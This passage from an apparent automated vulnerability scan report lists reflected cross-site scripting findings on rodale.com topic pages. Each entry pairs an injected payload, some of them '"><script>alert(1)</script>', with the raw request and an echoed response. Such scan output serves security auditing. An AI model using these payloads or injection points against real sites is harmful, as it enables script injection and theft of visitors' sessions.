User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:20 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:22 GMT
Date: Thu, 10 Mar 2011 17:12:22 GMT
Content-Length: 31140
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/food-allergies?bf1a9"><script>alert(1)</script>a8f0009c9c5=1" title="Register" class="moreLink">
...[SNIP]...

2.515. http://www.rodale.com/topic/food-labeling-and-certification [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/food-labeling-and-certification

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4c5b9"><a>a823152cb0b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic4c5b9"><a>a823152cb0b/food-labeling-and-certification HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:24 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:42:25 GMT
Date: Thu, 10 Mar 2011 17:12:26 GMT
Content-Length: 22564
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic4c5b9"><a>a823152cb0b topic4c5b9">
...[SNIP]...

2.516. http://www.rodale.com/topic/food-labeling-and-certification [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/food-labeling-and-certification

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9a216"><a>1665363629d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/food-labeling-and-certification9a216"><a>1665363629d HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:57 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:59 GMT
Date: Thu, 10 Mar 2011 17:12:59 GMT
Content-Length: 22543
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-food-labeling-and-certification9a216"><a>1665363629d node node-958">
...[SNIP]...

2.517. http://www.rodale.com/topic/food-labeling-and-certification [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/food-labeling-and-certification

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fe1dd"><script>alert(1)</script>e069c5c22c0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/food-labeling-and-certification?fe1dd"><script>alert(1)</script>e069c5c22c0=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:22 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:24 GMT
Date: Thu, 10 Mar 2011 17:12:24 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 33386

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/food-labeling-and-certification?fe1dd"><script>alert(1)</script>e069c5c22c0=1" title="Register" class="moreLink">
...[SNIP]...

2.518. http://www.rodale.com/topic/food-marketing [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/food-marketing

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7cac1"><a>300e11343e1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic7cac1"><a>300e11343e1/food-marketing HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:24 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:26 GMT
Date: Thu, 10 Mar 2011 17:12:26 GMT
Content-Length: 22513
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic7cac1"><a>300e11343e1 topic7cac1">
...[SNIP]...

2.519. http://www.rodale.com/topic/food-marketing [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/food-marketing

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2a5ff"><a>4ed328400fc was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/food-marketing2a5ff"><a>4ed328400fc HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:00 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:02 GMT
Date: Thu, 10 Mar 2011 17:13:02 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-food-marketing2a5ff"><a>4ed328400fc node node-958">
...[SNIP]...

2.520. http://www.rodale.com/topic/food-marketing [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/food-marketing

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7a2eb"><script>alert(1)</script>47f988a6982 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/food-marketing?7a2eb"><script>alert(1)</script>47f988a6982=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:21 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:23 GMT
Date: Thu, 10 Mar 2011 17:12:23 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32798

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/food-marketing?7a2eb"><script>alert(1)</script>47f988a6982=1" title="Register" class="moreLink">
...[SNIP]...

2.521. http://www.rodale.com/topic/food-packaging [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/food-packaging

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e512c"><a>350db9bb9df was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topice512c"><a>350db9bb9df/food-packaging HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:29 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:42:30 GMT
Date: Thu, 10 Mar 2011 17:12:31 GMT
Content-Length: 22513
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topice512c"><a>350db9bb9df topice512c">
...[SNIP]...

2.522. http://www.rodale.com/topic/food-packaging [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/food-packaging

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 447d2"><a>a42a2107a78 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/food-packaging447d2"><a>a42a2107a78 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:02 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:04 GMT
Date: Thu, 10 Mar 2011 17:13:04 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-food-packaging447d2"><a>a42a2107a78 node node-958">
...[SNIP]...

2.523. http://www.rodale.com/topic/food-packaging [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/food-packaging

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dd443"><script>alert(1)</script>f6b1138906d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/food-packaging?dd443"><script>alert(1)</script>f6b1138906d=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:26 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:28 GMT
Date: Thu, 10 Mar 2011 17:12:28 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32886

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/food-packaging?dd443"><script>alert(1)</script>f6b1138906d=1" title="Register" class="moreLink">
...[SNIP]...

2.524. http://www.rodale.com/topic/food-preservation [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/food-preservation

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cf5a6"><a>226cbfcc369 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topiccf5a6"><a>226cbfcc369/food-preservation HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:30 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:32 GMT
Date: Thu, 10 Mar 2011 17:12:32 GMT
Content-Length: 22522
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topiccf5a6"><a>226cbfcc369 topiccf5a6">
...[SNIP]...

2.525. http://www.rodale.com/topic/food-preservation [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/food-preservation

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1d0a4"><a>ce335025bcd was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/food-preservation1d0a4"><a>ce335025bcd HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:05 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:43:06 GMT
Date: Thu, 10 Mar 2011 17:13:07 GMT
Content-Length: 22501
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-food-preservation1d0a4"><a>ce335025bcd node node-958">
...[SNIP]...

2.526. http://www.rodale.com/topic/food-preservation [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/food-preservation

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eb928"><script>alert(1)</script>5b74b27fd0e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/food-preservation?eb928"><script>alert(1)</script>5b74b27fd0e=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:28 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:30 GMT
Date: Thu, 10 Mar 2011 17:12:30 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32826

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/food-preservation?eb928"><script>alert(1)</script>5b74b27fd0e=1" title="Register" class="moreLink">
...[SNIP]...

2.527. http://www.rodale.com/topic/food-safety [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/food-safety

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload efccd"><a>99b3eb9e6fb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicefccd"><a>99b3eb9e6fb/food-safety HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:33 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:35 GMT
Date: Thu, 10 Mar 2011 17:12:35 GMT
Content-Length: 22504
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicefccd"><a>99b3eb9e6fb topicefccd">
...[SNIP]...

2.528. http://www.rodale.com/topic/food-safety [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/food-safety

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a6ba2"><a>8d6c0737cde was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/food-safetya6ba2"><a>8d6c0737cde HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:10 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:12 GMT
Date: Thu, 10 Mar 2011 17:13:12 GMT
Content-Length: 22483
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-food-safetya6ba2"><a>8d6c0737cde node node-958">
...[SNIP]...

2.529. http://www.rodale.com/topic/food-safety [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/food-safety

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bbce0"><script>alert(1)</script>cc45fc2b2d4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/food-safety?bbce0"><script>alert(1)</script>cc45fc2b2d4=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:31 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:33 GMT
Date: Thu, 10 Mar 2011 17:12:33 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32983

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/food-safety?bbce0"><script>alert(1)</script>cc45fc2b2d4=1" title="Register" class="moreLink">
...[SNIP]...

2.530. http://www.rodale.com/topic/food-shopping-and-supermarkets [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/food-shopping-and-supermarkets

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5d8c9"><a>32815027dce was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic5d8c9"><a>32815027dce/food-shopping-and-supermarkets HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:31 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:33 GMT
Date: Thu, 10 Mar 2011 17:12:33 GMT
Content-Length: 22561
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic5d8c9"><a>32815027dce topic5d8c9">
...[SNIP]...

2.531. http://www.rodale.com/topic/food-shopping-and-supermarkets [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/food-shopping-and-supermarkets

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 50ae8"><a>1943c7b8cfe was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/food-shopping-and-supermarkets50ae8"><a>1943c7b8cfe HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:02 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:03 GMT
Date: Thu, 10 Mar 2011 17:13:03 GMT
Content-Length: 22540
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
